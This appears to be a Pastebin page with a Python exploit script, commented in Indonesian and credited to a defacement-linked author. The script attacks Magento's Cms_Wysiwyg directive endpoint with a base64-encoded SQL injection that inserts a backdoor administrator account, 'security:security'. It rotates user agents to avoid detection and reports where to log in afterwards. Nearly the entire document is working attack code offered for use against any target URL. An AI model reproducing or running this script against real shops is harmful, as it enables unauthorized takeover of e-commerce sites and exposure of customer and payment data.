Advertisement
security007

exploit magento add admin

May 7th, 2018
427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.54 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Ref : https://www.exploit-db.com/exploits/37977/
  3. import sys
  4. try:
  5.     import requests
  6. except:
  7.     print "Modul requests belum ter-install"
  8.     sys.exit()
  9. import base64,random,os
  10. os.system('clear')
  11. judul ="""
  12.      __  ______  __________  ____________        
  13.     /  |/  / _ |/ ___/ __/ |/ /_  __/ __ \      
  14.    / /|_/ / __ / (_ / _//    / / / / /_/ /        
  15.   /_/__/_/_/_|_\___/___/_/|_/_/_/ _\____/_____  __
  16.     / _ | / _ \/ _ \ / _ | / _ \/  |/  /  _/ |/ /
  17.    / __ |/ // / // / / __ |/ // / /|_/ // //    /
  18.   /_/ |_/____/____/ /_/ |_/____/_/  /_/___/_/|_/  
  19. CODED BY : SECURITY007
  20. EMAIL    : defacementsec007@gmail.com
  21. *Exploit sukses tapi gak bisa login?
  22. coba ganti username dan password di dalam script ini!!      
  23. """
  24. print judul                                                  
  25. def exploit(url):
  26.     target = url + "/admin/Cms_Wysiwyg/directive/index/"
  27.     xm = """
  28.     SET @SALT = 'rp';
  29.     SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
  30.     SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
  31.     INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
  32.     INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
  33.     """
  34.     useragent = ['Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)']
  35.     ua = random.choice(useragent)
  36.     print "[+] Menambah username dan password baru"
  37.     ku = xm.replace("\n", "").format(username="security", password="security")#ganti apabila gagal login
  38.     pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(ku)
  39.     try:
  40.         r = requests.post(target,data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ","filter": base64.b64encode(pfilter),"forwarded": 1},headers={'User-Agent':ua})
  41.     except:
  42.         print "[!] tidak bisa konek ke target"
  43.         sys.exit()
  44.     if r.ok:
  45.         print "[+] Exploit sukses"
  46.         print "cek {0}/admin dengan user:password security:security".format(url)#ganti security:security dengan password dan username yang kalian ubah diatas
  47.     else:
  48.         print "[!] Exploit gagal"
  49. def main():
  50.     if len(sys.argv)!=2:
  51.         print "Usage python "+sys.argv[0]+" <target>"
  52.     else:
  53.         print "[+] Sedang meng-exploit target"
  54.         exploit(sys.argv[1])
  55. if __name__=="__main__":
  56.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement